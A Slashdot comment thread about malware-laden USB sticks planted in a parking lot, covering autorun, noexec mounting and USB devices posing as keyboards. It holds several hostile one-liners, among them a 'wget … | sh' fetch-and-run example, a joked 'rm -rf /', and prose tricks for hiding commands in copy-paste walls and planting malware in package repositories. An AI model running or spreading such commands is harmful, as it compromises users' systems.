      I don't know if you can set noexec in fat or ntfs, but then would the executable run in such a case?

      Also, how would you execute the file?

    4. Re:Linux virus by Dr_Barnowl · · Score: 1

      You can set noexec for FAT and NTFS, the default is that everything is +x though.

      There are executable types that will run on Linux like Python scripts, shell scripts, etc. But it's hard to think of one that will work out of the box on both Windows and Linux ; .NET executables might be a candidate, if your system has Mono installed. And Wine will permit some Windows malware to run.

    5. Re:Linux virus by Compaqt · · Score: 4, Informative

      >mount -o noexec /dev/usb /media/usb_stick

      How many people are going to do that?

      Most any distribution will automount anything you plug in. You never get the chance to run your mount command.

      You're talking about what you would do. Everybody else is talking about what the average person would do.

      By the way, what are you running--a server distro?

      Even if we limit ourselves to a Linux shop (say one of the ones which have been covered by Slashdot, Munich city government or whatever), the average user does not have USB autodetection turned off. How else do their USB keyboards work?

      --
      I'm not a lawyer, but I play one on the Internet. Blog
    6. Re:Linux virus by drawfour · · Score: 4, Funny
      Looks like I'm safe!

      C:\Users\drawfour>wget houghi.org/trojan && sh trojan
      'wget' is not recognized as an internal or external command,
      operable program or batch file.

    7. Re:Linux virus by ozmanjusri · · Score: 4, Informative

      How many people are going to do that?

      Everybody *

      Desktop distributions use pmount for USB hotplugging. From the man page:

      OPTIONS
      ...

        -e, --exec
                                  Mount the device with the exec option. Default is noexec.

      http://www.linuxcertif.com/man/1/pmount/

      By the way, what are you running--a server distro?

      Most server distros don't automount (no desktop). You can get them to automount USB drives to a specified location (ie, for a media server) but need to install and enable the automount package and configure it, much like colinrichardday's suggestion.

      * Rounded up for clarity.

      --
      "I've got more toys than Teruhisa Kitahara."
    8. Re:Linux virus by Anonymous Coward · · Score: 0

      Desktop distributions use pmount for USB hotplugging.

      Most modern distributions use HAL, not pmount, and HAL's auto-mounting is going to be replaced by udev and udisks.

    9. Re:Linux virus by Anonymuous+Coward · · Score: 1
      Come on, it would be much easier on Linux to exploit bugs in the filesystem code - I now from experience that the code is not that hardened on that side: even accidental corruption of the fs may easily crash the system.

      Why bother with executable files and such?

      I don't know of any Unix that regards file system metadata as an attack vector -- it's assumed that the hardware (including the physical support of any non-network fs) is under the complete control of the user ;-)

    10. Re:Linux virus by bejiitas_wrath · · Score: 1

      On Ubuntu 11.04.

      flynn@ubuntu:~/Desktop$ sh ./trojan
      sudo rm / -rf
      read: 3: Illegal option -s

      Almost had ya! ;-)
      flynn@ubuntu:~/Desktop$

      --
      liberare massarum ex ignorantia, clausa descendit molestie.
    11. Re:Linux virus by ozmanjusri · · Score: 1

      Most modern distributions use HAL, not pmount

      They use both.

      pmount ("policy mount") is a wrapper around the standard mount program which permits normal users to mount removable devices without a matching /etc/fstab entry.

      pmount-hal extends pmount by making it work together with hal (Hardware Abstration Layer). pmount-hal will ask hal about values for certain mount flags (like noatime and async) and the prefered mount point name and pass it to pmount, thus respecting the configured device storage policy.

      --
      "I've got more toys than Teruhisa Kitahara."
    12. Re:Linux virus by Feyshtey · · Score: 1

      If your goal is to exfiltrate data you dont want to crash the system. You want as little evidence of your presence as possible. You'd probably want to propogate your code to that network wherever possible as well. You would have to execute in order to accomplish that.

      --
      "But we have to pass the bill so that you can find out what is in it,..." - Nancy Pelosi
    13. Re:Linux virus by marcosdumay · · Score: 1

      Scripts will "run" only if you extend the meaning of that word to include running an interpreter and passing them as argument. They will just run at the normal way (just executing them) if they are chmod +x. In a CLI both are completely different things.

      I don't know how the GUIs treat clicking at them (hey, I don't remember ever trying it). The sane thing to do would be to run them if they have the x bit set, otherwise edit them.

    14. Re:Linux virus by Anonymuous+Coward · · Score: 1

      Many crash-causing bugs are readily exploitable for code execution.

  22. He Didn't Have his Home Address on His Resume? by Greyfox · · Score: 4, Funny

    Didn't occur to you to go to his house, pick the locks, and leave the drive on his night stand? Because that would have been AWESOME!

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  23. Mandate (policy) use of secured USB keys by rsborg · · Score: 1

    Any security-minded organization would indoctrinate their employees, and set policy (either via OS security and/or SOP) to use only secured USB keys, which are provided. This should be a no-brainer, and shouldn't cost a significant amount.

    This kind of policy limit the scope of these kind of attacks, as well as helps to prevent inadvertent info-leaks like when workers lose their wallet/backpack. By preventing stupidity and bad luck you greatly improve the company security.

    --
    Make sure everyone's vote counts: Verified Voting
    1. Re:Mandate (policy) use of secured USB keys by Anonymous Coward · · Score: 0

      IT security is busy securing the company by banning all open source software (it is 'inherently unsafe' as the source is available to baddies we're told...), setting up downright silly password policies (MAX 10 chars in password, but must be more than 8... [AZa-z0-9] + 1 special char (but only one!) and a variety of other fun things...

      This for a company that create and install oil rig control systems... yeah... We use unencrypted usb sticks to transfer updated software onto the rigs..

      Then again, the live system is accessible (through 3 levels of firewalls) from the internet, so security isnt all that great to begin with......
      All of this against the advice of the engineers designing it all... but corporate have their own rules for what is a good idea and what is a bad one. Fuck if I know what they're thinking... At least I have my advice given in writing, so someone else is responsible :p

  24. Simple yet effective by zixxt · · Score: 1

    Social Engineering at its finest and most simplest. Much more effective getting your payload unto a system using this method then say then using a dancing baby gif.

    --
    ---- GENERATION 26: The first time you see this, copy it into your sig on any forum and add 1 to the generation.
  25. It might not be a drive by Chuck+Chunder · · Score: 4, Insightful

    The trouble with USB is that you don't know. Let's say you plug in that "thumb drive". Perhaps it turns out to be a "keyboard" that issues whatever the shortcut is for executing a command and sends something like:

    wget -q -O - http://naughty.com/ | sh

    All sorts of things could happen when you plug in a USB stick. Perhaps not too much of a worry in practice for Joe Schmo as doing it effectively would probably require a level of sophistication that would make it not worth while for a vague target but Linux does not magically make USB sticks safe.

    --
    Boffoonery - downloadable Comedy Benefit for Bletchley Park
  26. Ah, Autorun... by humanrev · · Score: 2

    The autorun feature of Windows (mainly XP and to a much lesser extend Vista/7) is a textbook example of where trading convenience for security can turn out to be a VERY BAD IDEA.

    Autorun functionality pisses me off anyway. I always turn that shit off mainly because yes, if I put in a DVD or a USB flash it's likely I'm going to be wanting to use it soon, but since Autorun is going to invariable pop up some Explorer window or DVD application all of a sudden once the media has been analysed, that very action of a new window popping up without my direct instantiation of it is damn annoying.

    Saving the couple of clicks to perform the same effect of whatever Autorun does is really, really not worth the mess we've gotten ourselves into (and still do).

    --
    Most people on Slashdot are fucking idiots.
    1. Re:Ah, Autorun... by humanrev · · Score: 1

      Fuck, that should have read "trading security for convenience". As in, you give up security in exchange for obtaining convenience.

      Oh now my whole comment is ruined. I can't bear to read the responses from strangers I'll never meet in the flesh, it will be too much to bear!

      --
      Most people on Slashdot are fucking idiots.
    2. Re:Ah, Autorun... by Anonymous Coward · · Score: 0

      Dude, we knew what you meant.

    3. Re:Ah, Autorun... by Megane · · Score: 1
      You're going to feel real stupid when it's got something a lot more complicated than a simple mass-storage volume with autorun crap on it. A USB device can pretend to be a keyboard, among other things. Hopefully there are no bugs in the USB kernel stuff... buffer overflows / bad data in USB configuration data is one of the early ways the PS3 was broken. If you try it first on an ARM CPU embedded Linux board that doesn't use HID devices, that's probably the safest way to start.

      Autorun functionality pisses me off anyway.

      I've got to agree with you there. There's a registry key change to turn it off completely. I did that to my XP computer at work. It's a bit annoying that I don't even get an explorer window to it and have to go through My Computer, but it's better than having that stupid "what do you want to do with THIS one?" dialog in my face all the time, which takes almost as long anyhow to recognize which option is which before I click.

      --
      #naabhaprzrag, #sverubfr-000, #agi-fcbafberq, negvpyr[pynff*=' negvpyr-ary-'] { qvfcynl: abar !vzcbegnag; }
  27. Speculation vs Investigation by Anonymous Coward · · Score: 4, Interesting

    The 'cyber criminals planted the usb sticks in an attempt to steal data'... stuff doesn't come from investigation, it comes from speculation. It could simply have been an infected USB stick an employee threw away or dropped.

    DSM is really a boring chemicals business, employing tens of thousands of people. The chances of spyware getting past anti virus software and onto the right persons computer is pretty damn slim.

    So it looks more like projection to me. There's a lot of talk about cybercriminals as part of the 'cyberwar' budget requests. This was a lost USB key infected. IT dept projects the cyberwar onto their company and assumes it was a cyberattack and not some piece of crapware. Cyberwar lobby grabs the story and pumps it up for their own agenda.

    1. Re:Speculation vs Investigation by dutchwhizzman · · Score: 3, Informative

      No, it's investigation. It's not just one stick, it were multiple sticks with the exact same contents on the parking lot at the same time. Yes, that sounds as clumsy as it is.

      --
      I was promised a flying car. Where is my flying car?
  28. RAM stick incident by SlashDev · · Score: 1

    I found a RAM stick once in a parking lot, I plugged it in and found nothing, or so I thought, a directory listing was empty and a anti-virus scan returned a clean bill of health. A few days later my friend told me that he was receiving emails from me. After investigation it was determined that a Linux on windows was running, with a SMTP server and a mail client was sending many emails. Is that possible? I asked about the reason for the SMTP server, I was told it was in case my ISP was blocking or throttling SMTP traffic through their server.

    --

    TOP DSLR Cameras Reviews of the top DSLRs
    1. Re:RAM stick incident by Anonymous Coward · · Score: 0

      Is that possible?

      Certainly not via any RAM stick, otherwise, sure. You see, RAM is volatile, meaning any data on it will not stick around too long after power off. So, two different incidences.

    2. Re:RAM stick incident by GameboyRMH · · Score: 1

      It's possible (I assume you meant "flash drive" vs "ram stick"). The "Linux on Windows" used was probably a customized Cygwin instance and it's understandable that an AV tool wouldn't have picked it up. I bet the drive's autorun ran a script that copied the Cygwin instance to your hard drive and made a startup entry for it. The Cygwin instance probably also contained scripts that checked local mail clients for mail accounts it could use.

      Lucky for you it was just a spammer botnet client, it could have been much worse.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
  29. I'll buy that for a dollar! by Anonymous Coward · · Score: 0

    + dns poisoning
    + arp poisoning
    + infected windows box on same LAN
    + back doored router (google: cisco routers back doors spooks law enforcement - for an example of one company)
    + compromised BIOS and/or PCI/AGP hardware devices which survive wipes

    the rootkit scanners (rkhunter, chkrootkit, and a few others) for Linux flat out SUCK. If you google for linux shells, back doors, etc. there are many, and many can be exploited through a 0day application exploit and by other means. The more packages on your system, the more possible holes to slide in through.

    chkrootkit has an option to show you the 'strings' of binaries. while this is useful, it is useless to the majority of linux newbies who know nothing about reverse engineering and determining what 'strings' may be good or may be bad. when they raise this point on the net, people reply with messages like, "Just download from signed repos", "Verify the check-sum", and other advice which are good but against an APT threat, where a system may be targeted in many ways and is held in a persistent poisoned state (have you read about RF attacks? packet radio drivers and your ethernet card and/or sound card (sound modem), the attacks are infinite. Even attacks using image formats with modified data can factor in and exploit your system.

    the hardware attacks get even worse, even when it comes to splice attacks on wired networks (for those who know wireless/bluetooth is for dumbshits and use a wired network).

    keypresses (passwords!) can be yanked from next door or apartment/condo rooms around you even if you use wired keyboards. keypresses can be yanked via power line analysis and smart meters may make this even easier!

    traffic analysis (predictive behavior) in order to poison the right way the right time even through encryption.

    nothing is secure, not even an unplugged, never networked locally or remote system. satellite attacks should also be factored in.

    tin foil? only if you're an idiot or one of THEM.

  30. Yet another free pendrive? by Anonymous Coward · · Score: 0

    Plug in, dd with zeros, fdisk, mkfs.ext2, profit?

    Unless you are on windows where you plug in and automatically get infected...

  31. Just because you issue a warning... by nighthawk243 · · Score: 1

    Just because you issue a warning doesn't mean your end users will heed it. I've learned that all too well in regard to WhitePages. We tell our employees to not use it, yet they do so anyways. Then they bitch when we're replacing their systems due to a rogue AV suite. So even if IT issues a general warning to not plug in the drive... some brain dead end user will do so anyways. It only takes one.

  32. I want one! by Anonymous Coward · · Score: 0

    Are they free? Mail me one!
    I collect viruses,
    "ViRuS PaRK"
    -- Shut up Pinky, I've been waiting around to take over the world since the punch card days
      * ORIGIN: hmm

    1. Re:I want one! by Anonymous Coward · · Score: 0

      COMING SOON IN 2013!

      The Mobile TELNET BBS ! Legend Of THe ReD DRaGoN ReTuRNS - Seth's Revenge against the fascists.
      The Mobile FIDONET PUBLIC ACCESSIBLE FTS-001 CRASH MAIL, QWK, JAM, MAIL BBS! a-z bitchez!
      The Mobile CB RADIO TEXTING NET!
      The kitten messenger! Don't ask!
      ConCaveMan (like in the shape of SAT DISH), but made of WOOD, Surfaces.Net Works line of sight, Speaker stands in front and centered facing the of GIANT WOODEN SALAD BOWL! TWO SALAD BOWLS CONNECT TWO NODES -- hard to align... but worth it.

       

    2. Re:I want one! by Anonymous Coward · · Score: 0

      Fuck I forgot... On ConCaveMan you need a 3D printer if you can't get 4000 year old trees.

    3. Re:I want one! by Anonymous Coward · · Score: 0

      How BIG I hear someone ask
      75 miles with two bowls only the width of you out stretching your arms horizontally like Christ (what is it 8 feet?)_, they should be mounted above ground with no obstructions.
      That should be good as long as you are LINE OF SIGHT,
      Any bigger WOODEN SALAD BOWL has to be Puzzle Cut (did I just make a new word?)

      A hint http://www.youtube.com/watch?v=jjbY7VYYdnk watch the beginning.

  33. Should be closed anyway by sociocapitalist · · Score: 1

    The company should have disabled USB ports on all company computers anyway. Inconvenient, yes, but necessary in this day and age.

    Doesn't address the newly popular (due to continuing stupid expense reductions) of BYOD where of course USB ports will remain open, but as BYOD is a security nightmare anyway...

    --
    blindly antisocialist = antisocial
    1. Re:Should be closed anyway by Overzeetop · · Score: 1

      You would be surprised how frequently sneakernet is used in many organizations, especially inter-departmentally, or with outside consultants. It doesn't help that internet connections are still relatively slow, generic cloud access is blocked, and FTP access is often locked down so drastically (or so mysterious to most non-technical users) as to be a time consuming process. Having to put in a request for someone in the IT department can take a day or two, but if you are under a deadline, a 48 hour turn around to communicate with a consultant is a long time.

      The biggest challenge with creating effective security is providing the manpower to work around all of the technological safeguards that keep the network safe.

      --
      Is it just my observation, or are there way too many stupid people in the world?
    2. Re:Should be closed anyway by Joe_Dragon · · Score: 1

      well now days ps/2 ports and keyboards and mouses are not that easy as they used to be to find on computers.

    3. Re:Should be closed anyway by sociocapitalist · · Score: 1

      I know that it is used but that doesn't mean that it should be used.

      The solution isn't to allow USB usage, but to find a secure way to transfer files. FTP should be migrated to SCP with whatever level of authentication and virus/trojan/malware checking is required by the organization in question.

      Security usually comes with inconvenience.

      --
      blindly antisocialist = antisocial
  34. olds by Tom · · Score: 2

    This is so old and has happened so many times before that some organisations have had time to develop, test and deploy so-called "data gateways" - machines that you can put your USB sticks, DVDs and other media into, that will scan them for infection and safely transfer the files you select to your network share.

    --
    Assorted stuff I do sometimes: Lemuria.org
  35. You Are Absolutely Correct. by Anonymous Coward · · Score: 0

    That's why operating system kernels that are writing by clueful coders validate DMA commands from target Firewire devices.

    I've done a whole lot of Firewire storage firmware, mostly for Wiebetech. The way Firewire drives work is that the Initiator - your PC - transmits SCSI Command Descriptor Blocks - CDBs - the Target - the disk - via the Serial Bus Protocol 2 - SBP-2. (There was an SBP protocol at first but it was withdrawn for some reason).

    After that the Initiator sits quietly by until the Target informs the initiator that the CDB has been processed.

    I think they designed it this way in part because Targets have limited processing capacity, so allowing the Target to drive the protocol also allows it to control the rate at which work is performed. But you're also trusting your Target to deliver the file the user just double-clicked, rather than overwriting the buffer cache entries that contain /etc/shadow.

    One of the very best hacks ever at the MacHack conference was that some guy wrote a FireWire applicaiton that would display an animation of a fire burning in a brick fireplace on the screen of any other Macintoh is was connected to.

    The Mac whose screen would show that heart-warming image did not have any extra software installed on it at all. Instead the Mac with the Hack installed would DMA it directly into the other Mac's video memory!

    Michael David Crawford, who is available for storage, embedded systems and driver consulting.

  36. snail mail attack by mlush · · Score: 1

    A bulk purchase of low capacity but nice looking keydrives could easily be less than $1 a pop... for that sort of money I could see a mass (snail)mailing of malware being quite feasible...

    Targeted advertising data could be used to select young, affluent, non-techical types, perhaps package the drive as a free trial version of a music/movie download service even have a slick looking website with the 'viewing' software there as a free download.

  37. "Failed?" by Rogerborg · · Score: 1

    I wonder how many time they succeeded silently before they got busted and stopped because (nobody laugh) a "warning" was issued.

    And the Security Kabuki goes on.

    --
    If you were blocking sigs, you wouldn't have to read this.
  38. Different context by DrYak · · Score: 1

    I find it odd: the amount of mental gymnastics you go through to prove linux to be better.

    We're not speaking about malware-on-a-stick as reported by TFA.
    I'm just answering the current thread of discussion, in which the conversation has drifted toward the usual debate of Unix-like OSes vs. Windows regarding design and security.
    (in short: all modern (=anything dating back from Unix) OSes (except Windows) are reputed to be slightly more secure due to their design: namely they don't run thing which aren't tagged as being runnable in the first place, they don't run with admin privilege. This doesn't solve all problems, but at least makes these systems less likely to be target of the "Click on attachment to see nude pictures!" type of malware.
    Parent poster pointed back to a 3 year old article trying to prove that it's possible to build such type of malware.
    I did just explain that this article is built around an oversight in desktop environment which was fixed since then in the affect systems, so the initial claim, "sane OS design = less susceptible to clickable malware in attachment" still applies)

    In short, in the last few post we were speaking about a different type of malware than the one of TFA.

    In case of a rogue USB stick, the virus wouldn't be downloaded. It would already be on a fs with execute bit set.

    Well, for that to work, it would require that the FS *has* an execute bit to set.

    The usual filesystem found on USB stick (FAT) doesn't have one. Nor does the other typical choices found on amovible media (exFAT, NTFS, UDF).
    And I have to check, but it's quite possible that hot plugged device, aren't mounted with the "exec" attribute with but "noexec" attribute. (My distro does indeed do so). Thus for filesystem which aren't declared in the fstab, they aren't trusted enough by default to run anything.

    So, in order to have a working USB stick as a malware carrier, one need:
    - to format with an unusual format (ext, btrfs, etc. Or using a layer above FAT & UDF like TRANS.TBL)
    - set the execute (and maybe the suid or dev, might be useful depending on what they want to snoop/steal) bits on the file system
    - either hope that the hot-plug service isn't configured to use the "noexec,nosuid,nodev" combo by default.
    - or find a way around that:
    -- like store the hack inside a .ZIP file (or more likely a .tar file, to get the mode-bits packed with it)
    -- along with instruction not to double click on it (which will open the TAR with the desktop environment VFS plugin - no executable at all here), but instead drag-drop the content of the TAR to your home before opening it (where the execute bit will be honored*)
    -- hope that the guy will open the pictures by clicking on them (and won't instead use some "slide-show" command right-clicking the directory)

    At that point of complexity, it's easier to go the "Smartphone malware" route, and play by the Linux book:
    - design a closed source application.
    - with some interesting feature (MP3 Youtube downloader!!!)
    - hide your malware payload inside the package
    - submit your package to some closed source repository which doesn't check that closely the details of submitted applications.
    - if the repository is popular enough, people will start downloading the software and installing it.
    Now all the dirty complicated parts (making sure that the correct stuff is marked as executable, etc.) is automatically handled by the package manager (as it should on any modern linux distro).
    "all" you need is "just" some social engineering:
    - to convince the repository manager to include your package (easier with smaller less known repositories).
    - to convince the end user to notice your 3rd party application, add the repository and install your malware. (easier with big known 3rd party repositories).

    *: That's the only situation where the security model of Windows (version >= Vista) is slightly

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:Different context by marcosdumay · · Score: 1

      No. On that single situation Windows is still no better than Linux.

      If you copy a file from a noexec mountpoint in Linux it will come with the x bit cleared, despite whatever value it had originaly (that you'll only be able to discover if you remount it as exec). It will only be permited to run if you mark it +x. On Windows it will only be permited to run if you click yes on a dialog. Linux is no worse.

      Now, if the file comes inside a container that knows about the +x, and you copy it to a exec mountpoint before extracting, the bit will be preserved. On Windows, if the file comes inside a container, whatever it is, and you extract it, Windows will trust the file. Again, Linux is no worse.

  39. Slip it in a wiki by DrYak · · Score: 1

    - Set-up a wiki somewhere.
    - Create a page with a tasty title
    (How to rip lesbian porn videos from flash powered site!!!!)
    - Hide command in a big wall of commands that have to be copy-pasted to a shell.
    - With some clever page formatting, make so that the line seems invisible when displayed in a web-browser, but still gets copied when the big wall of commands is selected, copied and pasted into a shell. (You know like this old trick where the user is asked to copy-past a password into a web form. But the input field is actually ta "file input" field in the web form, the password is actually a much longer string (the full path of an important file to steal) but only a few letter are visible the rest is invisible due to weird formatting, and the form is autosubmitted by javascript).

    Clueless users will execute your script en mass.

    --
    "Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
    1. Re:Slip it in a wiki by hairyfeet · · Score: 1

      What is amazing is you read some of the other posters, who were so quick to mod me down and go "poo poo, Linux is virus free, poo poo" it ALL comes down to "Magical Thinking", the same crap that those selling security junk have used for years. Its the same old "With product X you are always safe and immune!" which anybody with two functioning brain cells ought to be able to see through, but apparently not here. Nice to see at least one person gets it.

      Look magical thinkers, it is VERY simple, okay? EVERY SINGLE OS is an extremely complex pile of code. it has to support at least tens of thousands of pieces of hardware, multitasking, resource management, hell the kernel is how many million lines now? And that is before you even account for all the third party code running on top. I bet you could ask Linus Torvalds himself what happens when program Foo gets called and even HE won't know every single interaction, its just too complex.

      So magical thinking simply doesn't work. What kernel is Android running while its getting malware up the butt? That would be Linux. What about Are there unpatched security holes in Linux? Why yes there are which kinda blows a giant hole in the magical thinking. BTW if you'd like a little more food for thought, what OS was 3 of the 4 CAs running that were compromised? take a look and see. Maybe they just had bad configs? Surely someone with knowledge would be safe right? Guess again and its not a fluke by any means.

      In the end it doesn't matter if you are running Linux, windows, OSX, BSD, or OS/2, if you are targeted by malware writers, which is EXACTLY what happened to the corp in TFA, then they can simply target the payload to the OS and you are just as screwed, no magical thinking will save you.

      --
      ACs don't waste your time replying, your posts are never seen by me.
  40. Not new by ewanm89 · · Score: 2

    1) Penetration testers have been using this attack for some time, surprisingly often it works, it only takes one clueless manager to plug it in.

    2) With a little creative reengineering one does not need to rely on the system to automount and autorun the stick, instead one sticks a USB hub in there and a HID emulator and pumps out keystrokes, pretty much all operating systems will automatically initialize it as a keyboard device. Also one can hide that function until go time. let them act as ordinary memory sticks 'till then.

    1. Re:Not new by whitedsepdivine · · Score: 2

      I read a study also.

      50% of people will plug the usb drive into their work computer if dropped off in a work parking lot. Even if it is a secure environment, such as DOD.

      90% of those people will open and executable if it has an icon and name of the the company.

  41. Misleading title... by cpotoso · · Score: 1

    And I thought the anthrax scare was back... Oh, well, read on.

  42. Simple steps by Rambo+Tribble · · Score: 2

    1. Don't, under any circumstances, mount it

    2. Format it

    3. Enjoy your new USB stick

  43. A reader that honored the switch would be fine too by davidwr · · Score: 1

    If a given computer had a card-reader whose hardware or immutable firmware guaranteed read-only behavior when the lock tab was set, that would meet the r/o requirements as well, but only with respect to this particular computer and other computers with the same feature.

    It would basically be the same situation floppy disks were always in: Most 1980s floppy drives enforced the read-only tab in hardware, the host computer couldn't override it. But it was possible to build or modify a floppy drive so the read-only tab was ignored.

    As a customer, I would PREFER a computer where any writeable long-term-memory had a physical way of locking it into read-only mode that could not be defeated in software. This could be a jumper setting, a lock/unlock tab, a push-button, or whatever. "long-term-memory" included hard drives, writable USB/firewire/etc. devices, SATA and IDE devices, and even the computer BIOS code and that part of the BIOS data that doesn't need to change all the time (i.e. the clock and certain other status bits would not be protected from change). Those last two I would keep "read-only" 24/7 except when I was making changes.

    --
    Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
  44. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  45. AOL used to do this! by oldmac31310 · · Score: 1

    Except they used CDs to infect people's computers.

    --
    http://www.acetonestudio.com
  46. Don't just trust preventing autorun helps! by Anonymous Coward · · Score: 0

    Reading, parsing and displaying some information like icons from the connected drive can be expoited too. This shouldn't be news anyone following security trends and having read about stuxnet for example.

    There are many things that still just happen automatically once you plug in removable drive to windows systems. Unfortunately it's also true that macs have similar weaknesses and more and more linux distros too as they try to make systems more 'user friendly' .

  47. Gub'mint! by DarthVain · · Score: 1

    I got you beat. Years ago we used a build of Windows NT that didn't recognize USB ports. Security problem solved. (yes we had the ports, we just couldn't use them. I recall having to install a SCSI card just so I could use a scanner... good times.)

    Of course criminals could just leave some 3.5 floppy's laying around in the parking lot... not quite the sexy draw I would bet...

  48. I got a USB virus by peawormsworth · · Score: 1

    I went down to the employment office to get some assistance finding work. There I used a USB stick to record some stuff off one of their PC's. When I came home and looked at the USB on my linux box I found a . (dot) hidden directory I did not create. I searched online and found the files within were related to a PC virus. I emailed the office and told them exactly how I got the virus. A week later I went to the office again and used a different PC. I popped the USB into my linux laptop and there it was again. I went to the secretary and told them this was unacceptable and that they were propigating viruses to their clients.

    I also dislike operating systems that randomly add . (dot) hidden directories to my USB. For example apple products seem to do this. I think they add files in order to improve access to the contents or add images or something. Every time I stick my USB stick into someones Mac, I have to go through the directories it made automatically to verify that it didnt insert some malicious code.